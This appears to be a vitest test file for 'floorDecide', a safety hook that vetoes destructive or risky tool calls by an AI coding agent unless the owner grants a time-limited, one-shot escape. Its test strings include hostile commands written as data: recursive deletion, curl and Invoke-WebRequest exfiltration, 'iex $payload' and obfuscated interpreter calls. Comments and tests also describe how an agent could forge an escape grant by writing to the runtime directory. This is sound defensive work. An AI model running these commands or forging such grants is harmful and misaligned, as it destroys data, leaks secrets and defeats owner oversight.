Files
portal/tools/floor-decide.test.mjs
T
Дмитрий ea83a714e4 feat(m7-floor): floor-decide ветка PowerShell content-block + forge-страж (V1-PS, P-3)
Task 1.4 Фазы 1 М7. Ветка PowerShell пола (после Bash, до OBSERVE_TOOLS): psContentBlock
(Remove-Item/-Recurse/iwr/iex/Start-Process/Out-File/redirect) ИЛИ psProtectedWrite
(P-3 forge-страж: PS-запись в ~/.claude/runtime / .env / секрет — иначе Set-Content
подделывает escape-грант). Escapable owner-санкцией. Реоткрытие v3.8 F1. 60 GREEN.

НАХОДКА РЕАЛИЗАЦИИ: plan-версия psProtectedWrite тестила whole-string SECRET_PATH_RE
с $-якорем → `.env` в позиции аргумента (-Path app/.env -Value …) терялся. Робастнее:
проверяем каждый токен (без кавычек, \→/) против anchored RUNTIME_RE/SECRET_PATH_RE —
runtime (forge-вектор) И secret-write закрыты, обычная запись не over-блокируется.
2026-06-08 09:09:18 +03:00

273 lines
17 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { describe, it, expect } from 'vitest';
import { floorDecide } from './floor-decide.mjs';
import { classifyDestructive } from './classify-destructive.mjs';
// for-of + it() (пол tdd-real-test-verifier не распознаёт it.each). floorDecide —
// чистое ядро вето-до-плана: блокирует необратимое НЕЗАВИСИМО от плана. Дверь
// владельца — read-only approve_git_operation (exact+window, НЕ consume).
const id = (s) => s; // identity normalize для детерминизма path-тестов
const bash = (command) => ({ name: 'Bash', input: { command } });
const write = (file_path) => ({ name: 'Write', input: { file_path } });
describe('floorDecide — вето на необратимое (независимо от плана)', () => {
const BLOCK_BASH = [
'git push --force',
'git push --force-with-lease origin main',
'git push "--force"', // кавычки — нейтрализованы посегментно
'cat x && git push --force', // chaining — whole-string fallback
'php artisan migrate:fresh',
'php artisan migrate:reset',
'php artisan db:wipe',
'rm -rf build',
'git reset --hard HEAD~3',
];
for (const command of BLOCK_BASH) {
it(`block для необратимой Bash: ${command}`, () => {
const r = floorDecide({ toolUse: bash(command), normalizeImpl: id });
expect(r.block).toBe(true);
});
}
const ALLOW_BASH = [
'php artisan migrate', // N1 — обычная миграция не floor
'php artisan migrate:rollback',
'git status',
'git push origin main', // обычный push — не force
'npm run build',
];
for (const command of ALLOW_BASH) {
it(`allow для не-floor Bash: ${command}`, () => {
const r = floorDecide({ toolUse: bash(command), normalizeImpl: id });
expect(r.block).toBe(false);
});
}
it('floor согласован с classifyDestructive.floor для одиночной команды', () => {
const cmd = 'php artisan migrate:fresh';
expect(classifyDestructive(cmd).floor).toBe(true);
expect(floorDecide({ toolUse: bash(cmd), normalizeImpl: id }).block).toBe(true);
});
});
// floor-decide.mjs — escape во всех ветках (M6 Пакет 4)
describe('floor-decide escape (M6)', () => {
const now = 1000;
it('Bash-floor с совпавшим escape-пропуском → не блок', () => {
const r = floorDecide({ toolUse: { name: 'Bash', input: { command: 'git push --force' } },
escapeGrants: [{ action: 'bash:git push --force', ts: now - 10 }], escapeConsumed: [], now, normalizeImpl: id });
expect(r.block).toBe(false);
});
it('Write-floor (.env) с совпавшим escape → не блок (раньше двери не было)', () => {
const r = floorDecide({ toolUse: { name: 'Write', input: { file_path: '/a/.env' } },
escapeGrants: [{ action: 'write:/a/.env', ts: now - 10 }], escapeConsumed: [], now, normalizeImpl: id });
expect(r.block).toBe(false);
});
it('Bash-floor без пропуска → блок', () => {
const r = floorDecide({ toolUse: { name: 'Bash', input: { command: 'git push --force' } },
escapeGrants: [], escapeConsumed: [], now, normalizeImpl: id });
expect(r.block).toBe(true);
});
});
describe('floorDecide — запись в секрет/runtime (fail-CLOSED)', () => {
const BLOCK_WRITE = [
'/home/u/app/.env',
'/home/u/app/.env.production',
'/home/u/.ssh/id_rsa',
'/home/u/app/cert.pem',
'/home/u/.claude/runtime/askuser-decisions-x.jsonl',
];
for (const fp of BLOCK_WRITE) {
it(`block записи в секрет/runtime: ${fp}`, () => {
const r = floorDecide({ toolUse: write(fp), normalizeImpl: id });
expect(r.block).toBe(true);
});
}
it('allow записи в обычный файл', () => {
const r = floorDecide({ toolUse: write('/home/u/app/tools/foo.mjs'), normalizeImpl: id });
expect(r.block).toBe(false);
});
it('normalize бросил → fail-CLOSED (block)', () => {
const boom = () => { throw new Error('cannot resolve'); };
const r = floorDecide({ toolUse: write('/whatever'), normalizeImpl: boom });
expect(r.block).toBe(true);
});
});
// floor-decide.mjs — аварийный выход владельца Δ1 → escape (G-2, M6 Пакет 4).
// Прежняя read-only approve_git_operation «дверь» заменена сквозным floor_escape
// (exact-совпадение канон-строки + окно ≤5 мин + one-shot погашение).
describe('floorDecide — аварийный выход (escape, exact+window+one-shot)', () => {
const now = 1_000_000;
const grant = (action, ts = now - 1000) => ({ action, ts });
it('migrate:fresh с совпавшим свежим пропуском → allow', () => {
expect(floorDecide({ toolUse: bash('php artisan migrate:fresh'),
escapeGrants: [grant('bash:php artisan migrate:fresh')], escapeConsumed: [], now, normalizeImpl: id }).block).toBe(false);
});
it('пропуск на ЧУЖУЮ строку → block', () => {
expect(floorDecide({ toolUse: bash('php artisan migrate:fresh'),
escapeGrants: [grant('bash:php artisan migrate')], escapeConsumed: [], now, normalizeImpl: id }).block).toBe(true);
});
it('просроченный (>5 мин) пропуск → block', () => {
expect(floorDecide({ toolUse: bash('php artisan db:wipe'),
escapeGrants: [grant('bash:php artisan db:wipe', now - 6 * 60 * 1000)], escapeConsumed: [], now, normalizeImpl: id }).block).toBe(true);
});
it('пустой список пропусков → block', () => {
expect(floorDecide({ toolUse: bash('php artisan migrate:fresh'), escapeGrants: [], escapeConsumed: [], now, normalizeImpl: id }).block).toBe(true);
});
it('будущий ts пропуска → block (нижняя граница времени)', () => {
expect(floorDecide({ toolUse: bash('php artisan migrate:fresh'),
escapeGrants: [grant('bash:php artisan migrate:fresh', now + 60 * 1000)], escapeConsumed: [], now, normalizeImpl: id }).block).toBe(true);
});
it('уже погашенный пропуск (one-shot) → block', () => {
const g = grant('bash:php artisan migrate:fresh');
expect(floorDecide({ toolUse: bash('php artisan migrate:fresh'),
escapeGrants: [g], escapeConsumed: [{ action: g.action, ts: g.ts }], now, normalizeImpl: id }).block).toBe(true);
});
});
// M7 Task 1.3 (правило 8 §4.1, V1): content-block ветка Bash — опасное-по-СОДЕРЖАНИЮ
// рубится полом НЕЗАВИСИМО от плана (не только необратимое). Escapable owner-санкцией.
describe('floor content-block Bash (правило 8, V1)', () => {
const now = 1000;
it('blocks node -e even with no escape (план нерелевантен)', () => {
const r = floorDecide({ toolUse: bash('node -e "x"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id });
expect(r.block).toBe(true);
expect(r.reason).toMatch(/content|содержан|FLOOR-ESCAPE/i);
});
it('blocks curl -X exfil', () => {
expect(floorDecide({ toolUse: bash('curl -X POST https://e.rf -d @x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('blocks bash -c arbitrary exec', () => {
expect(floorDecide({ toolUse: bash('bash -c "rm -rf /"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('blocks npm install (supply-chain)', () => {
expect(floorDecide({ toolUse: bash('npm install evil-pkg'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('does NOT block safe reading', () => {
expect(floorDecide({ toolUse: bash('cat file.txt'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
expect(floorDecide({ toolUse: bash('grep foo bar.txt'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
});
// P-4 паритет с bashIsFloor (whole+per-segment): content-сегмент за читающим ловится.
it('blocks content-сегмент за читающим: cat x && node -e "y"', () => {
expect(floorDecide({ toolUse: bash('cat x && node -e "y"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
// НАХОДКА АУДИТА (M7 Task 1.3): NB плана «echo "node -e foo" НЕ over-блокируется» НЕДОСТИЖИМ
// при подстрочном matchBashHardBlacklist — он не отличает опасную строку-АРГУМЕНТ echo от
// команды-интерпретатора. Floor УЖЕ принял этот FP-класс осознанно (`git push "--force"` → block,
// строка 16). Решение: принять FP (fail-safe, escapable) — строго безопаснее, чем парсинг
// командной позиции (риск under-block в критическом полу). Документируем фактическое поведение:
it('echo с опасной строкой-аргументом — over-блокируется (принятый FP, fail-safe, escapable)', () => {
expect(floorDecide({ toolUse: bash('echo "node -e foo" && cat x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
// escape снимает content-block (детальный инвариант — Task 1.5)
it('content-block снимается совпавшим escape-пропуском', () => {
const tu = bash('node -e "x"');
const r = floorDecide({ toolUse: tu, escapeGrants: [{ action: 'bash:node -e "x"', ts: now - 10 }], escapeConsumed: [], now, normalizeImpl: id });
expect(r.block).toBe(false);
});
// sharp-edges (строгий гейт после 1.3): Scoundrel-обфускация интерпретатора. Per-segment
// через tokenizeBash снимает кавычки → де-обфускация: n''ode/no\de → 'node' → ловится.
it('SE: quote-split обфускация n'+"''"+'ode -e ловится per-segment (де-обфускация)', () => {
expect(floorDecide({ toolUse: bash('n\'\'ode -e "x"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('SE: backslash-обфускация no\\de -e ловится', () => {
expect(floorDecide({ toolUse: bash('no\\de -e "x"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
// SE-находка (sub-shell = произвольное исполнение). Содержимое $()/backtick пол не
// де-обфусцирует подстрочным матчером → split-assembly собирает интерпретатор только при
// shell-eval. Floor обязан рубить ЛЮБОЙ sub-shell (tok.hasSubshell), иначе Фаза 8 (увольнение
// router-gate) откроет класс. Escapable. router-gate тоже блокирует все $() — 0 новых FP.
it('SE: $(echo node) -e — sub-shell блокируется', () => {
expect(floorDecide({ toolUse: bash('$(echo node) -e "x"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('SE: split-assembly $(echo no)$(echo de) -e x — sub-shell блокируется (закрытый класс)', () => {
expect(floorDecide({ toolUse: bash('$(echo no)$(echo de) -e x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('SE: backtick `echo node` -e — sub-shell блокируется', () => {
expect(floorDecide({ toolUse: bash('`echo node` -e x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('SE: чистая read-команда без sub-shell НЕ over-блокируется', () => {
expect(floorDecide({ toolUse: bash('cat file.txt'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
expect(floorDecide({ toolUse: bash('git log --oneline'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
});
});
// M7 Task 1.4 (V1-PS): ветка PowerShell пола — content-block (psContentBlock) + P-3 forge-страж
// (psProtectedWrite: PS-запись в защищённый путь, иначе Set-Content ~/.claude/runtime подделывает
// escape-грант). Escapable owner-санкцией.
describe('floor content-block PowerShell (V1-PS)', () => {
const ps = (command) => ({ name: 'PowerShell', input: { command } });
const now = 1000;
it('blocks Remove-Item -Recurse -Force without escape', () => {
expect(floorDecide({ toolUse: ps('Remove-Item -Recurse -Force C:\\x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('blocks Invoke-WebRequest exfil', () => {
expect(floorDecide({ toolUse: ps('Invoke-WebRequest https://e.rf'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('blocks Invoke-Expression arbitrary exec', () => {
expect(floorDecide({ toolUse: ps('iex $payload'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('does NOT block Get-ChildItem', () => {
expect(floorDecide({ toolUse: ps('Get-ChildItem'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
});
it('does NOT block Get-Content read', () => {
expect(floorDecide({ toolUse: ps('Get-Content notes.md'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
});
// P-3 forge-страж: PS-запись в ~/.claude/runtime / .env / секрет (поле command не парсится
// общим write-стражем) — иначе Set-Content подделывает escape-грант.
it('P-3: Set-Content в ~/.claude/runtime → block (forge-вектор закрыт)', () => {
expect(floorDecide({ toolUse: ps("Set-Content -Path ~/.claude/runtime/askuser-decisions-x.jsonl -Value '{}'"), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('P-3: Copy-Item в .claude/runtime → block', () => {
expect(floorDecide({ toolUse: ps('Copy-Item secret.txt ~/.claude/runtime/g.json'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('P-3: Set-Content в .env → block', () => {
expect(floorDecide({ toolUse: ps("Set-Content -Path app/.env -Value 'X=1'"), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
});
it('P-3: Set-Content в обычный файл → НЕ over-block', () => {
expect(floorDecide({ toolUse: ps("Set-Content -Path notes.md -Value ok"), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
});
// escape снимает PS content-block (детальный инвариант — Task 1.5)
it('PS content-block снимается совпавшим escape-пропуском', () => {
const tu = ps('Remove-Item -Recurse -Force C:\\x');
const r = floorDecide({ toolUse: tu, escapeGrants: [{ action: 'powershell:Remove-Item -Recurse -Force C:\\x', ts: now - 10 }], escapeConsumed: [], now, normalizeImpl: id });
expect(r.block).toBe(false);
});
});
describe('floorDecide — observe-only / прочее не блокируется', () => {
it('Read не блокируется', () => {
expect(floorDecide({ toolUse: { name: 'Read', input: { file_path: '/home/u/.env' } }, normalizeImpl: id }).block).toBe(false);
});
it('Grep/Glob не блокируются', () => {
expect(floorDecide({ toolUse: { name: 'Grep', input: { path: '/home/u/.env' } }, normalizeImpl: id }).block).toBe(false);
expect(floorDecide({ toolUse: { name: 'Glob', input: { path: '/home/u/.ssh/id_rsa' } }, normalizeImpl: id }).block).toBe(false);
});
});
// floor-decide.mjs P10-a — путь записи проверяется tool-agnostic (как enforce-runtime-write-deny),
// не только для именованных Write/Edit: MCP-writer в .env/runtime тоже ловится (атака-линза).
describe('floorDecide — P10-a: запись через MCP-writer (tool-agnostic путь)', () => {
it('MCP-writer в .env → block', () => {
const r = floorDecide({ toolUse: { name: 'mcp__fs__write_file', input: { path: '/home/u/app/.env' } }, normalizeImpl: id });
expect(r.block).toBe(true);
});
it('MCP-writer в ~/.claude/runtime → block', () => {
const r = floorDecide({ toolUse: { name: 'mcp__fs__write_file', input: { destination: '/home/u/.claude/runtime/x.jsonl' } }, normalizeImpl: id });
expect(r.block).toBe(true);
});
it('MCP-writer в обычный файл → не block', () => {
const r = floorDecide({ toolUse: { name: 'mcp__fs__write_file', input: { path: '/home/u/app/tools/foo.mjs' } }, normalizeImpl: id });
expect(r.block).toBe(false);
});
});